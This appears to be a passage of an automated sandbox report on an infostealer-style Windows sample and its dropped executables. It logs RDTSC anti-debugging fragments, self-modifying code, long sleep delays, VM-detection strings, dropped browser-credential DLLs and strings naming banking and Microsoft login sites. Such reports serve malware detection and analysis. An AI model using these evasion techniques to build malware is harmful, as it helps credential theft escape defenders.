Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 532069C second address: 53206EB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FEE84E88FCBh 0x0000000c jmp 00007FEE84E88FD3h 0x00000011 popfd 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 jmp 00007FEE84E88FD6h 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FEE84E88FCEh 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 53206EB second address: 5320717 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 pushfd 0x00000007 jmp 00007FEE851EFD8Ah 0x0000000c sbb ax, 50E8h 0x00000011 jmp 00007FEE851EFD8Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 5320717 second address: 532071B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 532071B second address: 532071F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Special instruction interceptor: First address: 73EBB1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Special instruction interceptor: First address: 8F3280 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Special instruction interceptor: First address: 906AC6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Special instruction interceptor: First address: 97E462 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 50EBB1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 6C3280 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 6D6AC6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 74E462 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe

Code function: 6_2_05320823 rdtsc

6_2_05320823

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Window / User API: threadDelayed 1359	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 2147	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 3333	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Window / User API: threadDelayed 779	Jump to behavior

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	API coverage: 0.8 %
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	API coverage: 0.0 %

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe TID: 4128	Thread sleep count: 1359 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 2072	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 2072	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 5792	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 5792	Thread sleep time: -66033s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 3292	Thread sleep count: 314 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 3292	Thread sleep time: -9420000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 2292	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 3292	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe TID: 5616	Thread sleep count: 779 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe TID: 5616	Thread sleep count: 40 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe

Code function: 0_2_6C32C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C32C930

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Essential Server Solutions without Hyper-V
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (full)
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (core)
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Microsoft Hyper-V Server
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.4.dr	Binary or memory string: vmci.sys
Source: AKFHDBFI.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: AKFHDBFI.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: vmware
Source: AKFHDBFI.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: Amcache.hve.4.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: AKFHDBFI.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: explorti.exe, explorti.exe, 0000000D.00000002.3229087178.00000000006A4000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (full)
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual USB Mouse
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: AKFHDBFI.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
Source: Amcache.hve.4.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V (core)
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: AKFHDBFI.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: AKFHDBFI.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: AKFHDBFI.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Hyper-V (guest)
Source: Amcache.hve.4.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: AKFHDBFI.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: AKFHDBFI.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: AKFHDBFI.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: AKFHDBFI.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.4.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin`
Source: AKFHDBFI.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.4.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000FEC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.00000000003CC000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: AKFHDBFI.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: AKFHDBFI.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000FEC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.00000000003CC000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000FEC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.00000000003CC000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V
Source: ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: EHDHDHIECG.exe, 00000006.00000002.2284909895.00000000008D4000.00000040.00000001.01000000.00000009.sdmp, explorti.exe, 00000009.00000002.2316242908.00000000006A4000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000000A.00000002.2326357580.00000000006A4000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000000D.00000002.3229087178.00000000006A4000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: ukuWaeRgPR.exe, ukuWaeRgPR.exe, 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmp, a3b2c9311b.exe, a3b2c9311b.exe, 0000000E.00000002.2767076722.000000000029C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (full)
Source: AKFHDBFI.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
